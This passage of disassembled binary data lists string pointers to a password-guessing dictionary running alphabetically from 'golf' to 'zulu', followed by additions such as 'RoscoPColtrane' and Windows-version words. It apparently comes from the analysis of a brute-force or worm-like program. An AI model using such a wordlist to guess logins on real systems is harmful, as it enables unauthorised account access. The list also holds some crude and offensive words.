offset aGolf ; "golf" dd offset aGolfer ; "golfer" dd offset aGood ; "good" dd offset aGorgeous ; "gorgeous" dd offset aGorges ; "gorges" dd offset aGosling ; "gosling" dd offset aGouge ; "gouge" dd offset aGovermen ; "govermen" dd offset aGrades ; "grades" dd offset aGraham ; "graham" dd offset aGrahm ; "grahm" dd offset aGrand ; "grand" dd offset aGrant ; "grant" dd offset aGreat ; "great" dd offset aGreen ; "green" dd offset aGroup ; "group" dd offset aGryphon ; "gryphon" dd offset aGuardian ; "guardian" dd offset aGucci ; "gucci" dd offset aGuess ; "guess" dd offset aGuitar ; "guitar" dd offset aGumption ; "gumption" dd offset aGuntis ; "guntis" dd offset aHack ; "hack" dd offset aHacked ; "hacked" dd offset aHagar ; "hagar" dd offset aHair ; "hair" dd offset aHallowee ; "hallowee" dd offset aHamlet ; "hamlet" dd offset aHamster ; "hamster" dd offset aHandel ; "handel" dd offset aHandily ; "handily" dd offset aHandjob ; "handjob" dd offset aHappenin ; "happenin" dd offset aHard ; "hard" dd offset aHardcore ; "hardcore" dd offset aHarddriv ; "harddriv" dd offset aHarmony ; "harmony" dd offset aHarold ; "harold" dd offset aHarvey ; "harvey" dd offset aHate ; "hate" dd offset aHaven ; "haven" dd offset aHawaii ; "hawaii" dd offset aHead ; "head" dd offset aHeadbang ; "headbang" dd offset aHeat ; "heat" dd offset aHeathen ; "heathen" dd offset aHeather ; "heather" dd offset aHebrides ; "hebrides" dd offset aHeidi ; "heidi" dd offset aHeinlein ; "heinlein" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aHelp ; "help" dd offset aHerb ; "herb" dd offset aHerbert ; "herbert" dd offset aHero ; "hero" dd offset aHeroin ; "heroin" dd offset aHewlett ; "hewlett" dd offset aHexadeci ; "hexadeci" dd offset aHiawatha ; "hiawatha" dd offset aHibernia ; "hibernia" dd offset aHidden ; "hidden" dd offset aHigh ; "high" dd offset aHighland ; "highland" dd offset aHitler ; "hitler" dd offset aHits ; "hits" dd offset aHole ; "hole" dd offset aHolly ; "holly" dd offset aHollywoo ; "hollywoo" dd offset aHomepage ; "homepage" dd offset aHomer ; "homer" dd offset aHomework ; "homework" dd offset aHoney ; "honey" dd offset aHooker ; "hooker" dd offset aHooters ; "hooters" dd offset aHorny ; "horny" dd offset aHorrible ; "horrible" dd offset aHorror ; "horror" dd offset aHorse ; "horse" dd offset aHorus ; "horus" dd offset aHost ; "host" dd offset aHotdog ; "hotdog" dd offset aHotel ; "hotel" dd offset aHttp ; "http" dd offset aHunt ; "hunt" dd offset aHunter ; "hunter" dd offset aHutchins ; "hutchins" dd offset aHydrogen ; "hydrogen" dd offset aHyper ; "hyper" dd offset aHypertxt ; "hypertxt" dd offset aIcecream ; "icecream" dd offset aIllumina ; "illumina" dd offset aImage ; "image" dd offset aImbrogli ; "imbrogli" dd offset aImmortal ; "immortal" dd offset aImperial ; "imperial" dd offset aInclude ; "include" dd offset aIndia ; "india" dd offset aIndian ; "indian" dd offset aIndiana ; "indiana" dd offset aIndians ; "indians" dd offset aIngres ; "ingres" dd offset aIngress ; "ingress" dd offset aIngrid ; "ingrid" dd offset aInna ; "inna" dd offset aInnocuou ; "innocuou" dd offset aInput ; "input" dd offset aInside ; "inside" dd offset aInteger ; "integer" dd offset aInvent ; "invent" dd offset aIrene ; "irene" dd offset aIrishman ; "irishman" dd offset aIsis ; "isis" dd offset aJackie ; "jackie" dd offset aJail ; "jail" dd offset aJane ; "jane" dd offset aJanet ; "janet" dd offset aJanice ; "janice" dd offset aJanie ; "janie" dd offset aJapan ; "japan" dd offset aJasmin ; "jasmin" dd offset aJava ; "java" dd offset aJazz ; "jazz" dd offset aJean ; "jean" dd offset aJeanne ; "jeanne" dd offset aJeff ; "jeff" dd offset aJenni ; "jenni" dd offset aJennifer ; "jennifer" dd offset aJenny ; "jenny" dd offset aJerry ; "jerry" dd offset aJerusale ; "jerusale" dd offset aJessica ; "jessica" dd offset aJester ; "jester" dd offset aJewelry ; "jewelry" dd offset aJill ; "jill" dd offset aJixian ; "jixian" dd offset aJoanne ; "joanne" dd offset aJody ; "jody" dd offset aJohn ; "john" dd offset aJohndoe ; "johndoe" dd offset aJohnny ; "johnny" dd offset aJoseph ; "joseph" dd offset aJoshua ; "joshua" dd offset aJournal ; "journal" dd offset aJoyce ; "joyce" dd offset aJudith ; "judith" dd offset aJudy ; "judy" dd offset aJuggle ; "juggle" dd offset aJuicy ; "juicy" dd offset aJulia ; "julia" dd offset aJulie ; "julie" dd offset aJuliet ; "juliet" dd offset aJune ; "june" dd offset aJupiter ; "jupiter" dd offset aKaka ; "kaka" dd offset aKaren ; "karen" dd offset aKarie ; "karie" dd offset aKarina ; "karina" dd offset aKatana ; "katana" dd offset aKate ; "kate" dd offset aKathleen ; "kathleen" dd offset aKathrine ; "kathrine" dd offset aKathy ; "kathy" dd offset aKatina ; "katina" dd offset aKatrina ; "katrina" dd offset aKelly ; "kelly" dd offset aKeri ; "keri" dd offset aKermit ; "kermit" dd offset aKernel ; "kernel" dd offset aKerri ; "kerri" dd offset aKerrie ; "kerrie" dd offset aKerry ; "kerry" dd offset aKevin ; "kevin" dd offset aKewl ; "kewl" dd offset aKeybord ; "keybord" dd offset aKeyin ; "keyin" dd offset aKeyword ; "keyword" dd offset aKids ; "kids" dd offset aKill ; "kill" dd offset aKillthem ; "killthem" dd offset aKilo ; "kilo" dd offset aKimberly ; "kimberly" dd offset aKing ; "king" dd offset aKirk ; "kirk" dd offset aKirkland ; "kirkland" dd offset aKiss ; "kiss" dd offset aKissmyas ; "kissmyas" dd offset aKitten ; "kitten" dd offset aKlingon ; "klingon" dd offset aKnife ; "knife" dd offset aKnight ; "knight" dd offset aKnightma ; "knightma" dd offset aKnown ; "known" dd offset aKrista ; "krista" dd offset aKristen ; "kristen" dd offset aKristi ; "kristi" dd offset aKristie ; "kristie" dd offset aKristin ; "kristin" dd offset aKristine ; "kristine" dd offset aKristy ; "kristy" dd offset aLadies ; "ladies" dd offset aLadle ; "ladle" dd offset aLakers ; "lakers" dd offset aLambda ; "lambda" dd offset aLaminati ; "laminati" dd offset aLana ; "lana" dd offset aLaptop ; "laptop" dd offset aLara ; "lara" dd offset aLarkin ; "larkin" dd offset aLarry ; "larry" dd offset aLaser ; "laser" dd offset aLaura ; "laura" dd offset aLava ; "lava" dd offset aLazarus ; "lazarus" dd offset aLazer ; "lazer" dd offset aLeah ; "leah" dd offset aLebesgue ; "lebesgue" dd offset aLeft ; "left" dd offset aLeftwing ; "leftwing" dd offset aLegal ; "legal" dd offset aLeland ; "leland" dd offset aLeroy ; "leroy" dd offset aLesbian ; "lesbian" dd offset aLeslie ; "leslie" dd offset aLetmein ; "letmein" dd offset aLewis ; "lewis" dd offset aLexluthe ; "lexluthe" dd offset aLiberal ; "liberal" dd offset aLibrary ; "library" dd offset aLick ; "lick" dd offset aLicker ; "licker" dd offset aLife ; "life" dd offset aLight ; "light" dd offset aLightsab ; "lightsab" dd offset aLima ; "lima" dd offset aLimbaugh ; "limbaugh" dd offset aLimited ; "limited" dd offset aLinda ; "linda" dd offset aLink ; "link" dd offset aLion ; "lion" dd offset aLips ; "lips" dd offset aLisa ; "lisa" dd offset aLisp ; "lisp" dd offset aLiteratu ; "literatu" dd offset aLive ; "live" dd offset aLoad ; "load" dd offset aLock ; "lock" dd offset aLockout ; "lockout" dd offset aLockword ; "lockword" dd offset aLogic ; "logic" dd offset aLoginwor ; "loginwor" dd offset aLogout ; "logout" dd offset aLois ; "lois" dd offset aLolopc ; "lolopc" dd offset aLoose ; "loose" dd offset aLore ; "lore" dd offset aLori ; "lori" dd offset aLorin ; "lorin" dd offset aLorraine ; "lorraine" dd offset aLoser ; "loser" dd offset aLouis ; "louis" dd offset aLovebug ; "lovebug" dd offset aLover ; "lover" dd offset aLuck ; "luck" dd offset aLucus ; "lucus" dd offset aLucy ; "lucy" dd offset aLude ; "lude" dd offset aLuke ; "luke" dd offset aLust ; "lust" dd offset aLynn ; "lynn" dd offset aLynne ; "lynne" dd offset aMachine ; "machine" dd offset aMacintos ; "macintos" dd offset aMack ; "mack" dd offset aMacro ; "macro" dd offset aMaggot ; "maggot" dd offset aMagic ; "magic" dd offset aMagnet ; "magnet" dd offset aMail ; "mail" dd offset aMaint ; "maint" dd offset aMalcolm ; "malcolm" dd offset aMalcom ; "malcom" dd offset aMana ; "mana" dd offset aManager ; "manager" dd offset aMara ; "mara" dd offset aMarci ; "marci" dd offset aMarcy ; "marcy" dd offset aMaria ; "maria" dd offset aMariens ; "mariens" dd offset aMarietta ; "marietta" dd offset aMarijuan ; "marijuan" dd offset aMarines ; "marines" dd offset aMark ; "mark" dd offset aMarkus ; "markus" dd offset aMarni ; "marni" dd offset aMarriage ; "marriage" dd offset aMars ; "mars" dd offset aMarty ; "marty" dd offset aMarvin ; "marvin" dd offset aMary ; "mary" dd offset aMason ; "mason" dd offset aMaster ; "master" dd offset aMath ; "math" dd offset aMaurice ; "maurice" dd offset aMeagan ; "meagan" dd offset aMegabyte ; "megabyte" dd offset aMegadeth ; "megadeth" dd offset aMegan ; "megan" dd offset aMelissa ; "melissa" dd offset aMellon ; "mellon" dd offset aMelrose ; "melrose" dd offset aMember ; "member" dd offset aMemory ; "memory" dd offset aMenace ; "menace" dd offset aMenu ; "menu" dd offset aMercury ; "mercury" dd offset aMerlin ; "merlin" dd offset aMetal ; "metal" dd offset aMetalhea ; "metalhea" dd offset aMetalica ; "metalica" dd offset aMets ; "mets" dd offset aMice ; "mice" dd offset aMichael ; "michael" dd offset aMichel ; "michel" dd offset aMichelan ; "michelan" dd offset aMichele ; "michele" dd offset aMichelle ; "michelle" dd offset aMickey ; "mickey" dd offset aMicro ; "micro" dd offset aMicrochi ; "microchi" dd offset aMicropro ; "micropro" dd offset aMicrosof ; "microsof" dd offset aMidieval ; "midieval" dd offset aMike ; "mike" dd offset aMine ; "mine" dd offset aMinimum ; "minimum" dd offset aMinsky ; "minsky" dd offset aMisfit ; "misfit" dd offset aMission ; "mission" dd offset aMkii ; "mkii" dd offset aMode ; "mode" dd offset aModem ; "modem" dd offset aMogul ; "mogul" dd offset aMoguls ; "moguls" dd offset aMonday ; "monday" dd offset aMonica ; "monica" dd offset aMoom ; "moom" dd offset aMoor ; "moor" dd offset aMoose ; "moose" dd offset aMore ; "more" dd offset aMorley ; "morley" dd offset aMorris ; "morris" dd offset aMortal ; "mortal" dd offset aMortalco ; "mortalco" dd offset aMortgage ; "mortgage" dd offset aMosaic ; "mosaic" dd offset aMountain ; "mountain" dd offset aMouse ; "mouse" dd offset aMove ; "move" dd offset aMovie ; "movie" dd offset aMovies ; "movies" dd offset aMozart ; "mozart" dd offset aMpeg ; "mpeg" dd offset aMsdos ; "msdos" dd offset aMuppets ; "muppets" dd offset aMutant ; "mutant" dd offset aNagel ; "nagel" dd offset aName ; "name" dd offset aNancy ; "nancy" dd offset aNapoleon ; "napoleon" dd offset aNasa ; "nasa" dd offset aNavy ; "navy" dd offset aNepenthe ; "nepenthe" dd offset aNeptune ; "neptune" dd offset aNess ; "ness" dd offset aNetscape ; "netscape" dd offset aNetwork_0 ; "network" dd offset aNewborn ; "newborn" dd offset aNews ; "news" dd offset aNewsgrou ; "newsgrou" dd offset aNewton ; "newton" dd offset aNewyork ; "newyork" dd offset aNext ; "next" dd offset aNice ; "nice" dd offset aNicole ; "nicole" dd offset aNicotine ; "nicotine" dd offset aNight ; "night" dd offset aNightmar ; "nightmar" dd offset aNintendo ; "nintendo" dd offset aNita ; "nita" dd offset aNnaacp ; "nnaacp" dd offset aNoble ; "noble" dd offset aNobody ; "nobody" dd offset aNode ; "node" dd offset aNoreen ; "noreen" dd offset aNotes ; "notes" dd offset aNoth ; "noth" dd offset aNova ; "nova" dd offset aNovel ; "novel" dd offset aNovember ; "november" dd offset aNoxious ; "noxious" dd offset aNuclear ; "nuclear" dd offset aNude ; "nude" dd offset aNuke ; "nuke" dd offset aNukem ; "nukem" dd offset aNull_1 ; "null" dd offset aNumber ; "number" dd offset aNutritio ; "nutritio" dd offset aNuts ; "nuts" dd offset aNyquist ; "nyquist" dd offset aObscurit ; "obscurit" dd offset aOceanogr ; "oceanogr" dd offset aOcelot ; "ocelot" dd offset aOffice ; "office" dd offset aOkay ; "okay" dd offset aOldage ; "oldage" dd offset aOlivetti ; "olivetti" dd offset aOlivia ; "olivia" dd offset aOmega ; "omega" dd offset aOpen ; "open" dd offset aOpening ; "opening" dd offset aOpenlock ; "openlock" dd offset aOpensesa ; "opensesa" dd offset aOperator ; "operator" dd offset aOrca ; "orca" dd offset aOrient ; "orient" dd offset aOrwell ; "orwell" dd offset aOscar ; "oscar" dd offset aOsiris ; "osiris" dd offset aOutdoors ; "outdoors" dd offset aOutlaw ; "outlaw" dd offset aOutput ; "output" dd offset aOutside ; "outside" dd offset aOxford ; "oxford" dd offset aPacific ; "pacific" dd offset aPackard ; "packard" dd offset aPacker ; "packer" dd offset aPainless ; "painless" dd offset aPaint ; "paint" dd offset aPakistan ; "pakistan" dd offset aPamela ; "pamela" dd offset aPapa ; "papa" dd offset aPaper ; "paper" dd offset aPapers ; "papers" dd offset aPascal ; "pascal" dd offset aPassphra ; "passphra" dd offset aPaste ; "paste" dd offset aPatricia ; "patricia" dd offset aPatriot ; "patriot" dd offset aPatty ; "patty" dd offset aPaula ; "paula" dd offset aPeanuts ; "peanuts" dd offset aPecker ; "pecker" dd offset aPencil ; "pencil" dd offset aPenelope ; "penelope" dd offset aPenguin ; "penguin" dd offset aPenis ; "penis" dd offset aPenname ; "penname" dd offset aPentagon ; "pentagon" dd offset aPentagra ; "pentagra" dd offset aPenthous ; "penthous" dd offset aPentium ; "pentium" dd offset aPeoria ; "peoria" dd offset aPepper ; "pepper" dd offset aPercolat ; "percolat" dd offset aPerfect ; "perfect" dd offset aPermit ; "permit" dd offset aPersimmo ; "persimmo" dd offset aPersona ; "persona" dd offset aPervert ; "pervert" dd offset aPete ; "pete" dd offset aPeter ; "peter" dd offset aPhil ; "phil" dd offset aPhilip ; "philip" dd offset aPhoenix ; "phoenix" dd offset aPhone ; "phone" dd offset aPhoton ; "photon" dd offset aPhrack ; "phrack" dd offset aPhrase ; "phrase" dd offset aPhreak ; "phreak" dd offset aPhuck ; "phuck" dd offset aPick ; "pick" dd offset aPierre ; "pierre" dd offset aPimp ; "pimp" dd offset aPinname ; "pinname" dd offset aPiss ; "piss" dd offset aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset aStoneage ; "stoneage" dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_0 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM_0 ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" 